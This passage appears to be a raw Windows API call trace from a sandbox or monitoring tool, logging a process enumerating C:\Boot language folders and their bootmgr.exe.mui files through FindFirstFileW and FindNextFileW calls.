lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.266] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.266] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.267] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.267] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.268] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x44, dwReserved1=0x44, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0047.269] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.269] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.269] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.270] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.270] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.270] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0047.270] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.270] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.270] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.271] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.271] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.271] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0047.271] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.272] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.272] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.273] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.273] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.273] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0047.273] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.273] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.273] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.274] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.274] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.274] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0047.274] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.274] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.274] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.275] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.275] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.276] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0047.276] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.276] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.276] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.277] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.277] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.277] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0047.277] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.277] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.277] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.278] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.278] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.278] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0047.278] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.278] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.278] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.280] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.280] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.280] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0047.280] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.280] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.280] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.281] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.281] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.281] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0047.281] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.281] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.281] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", 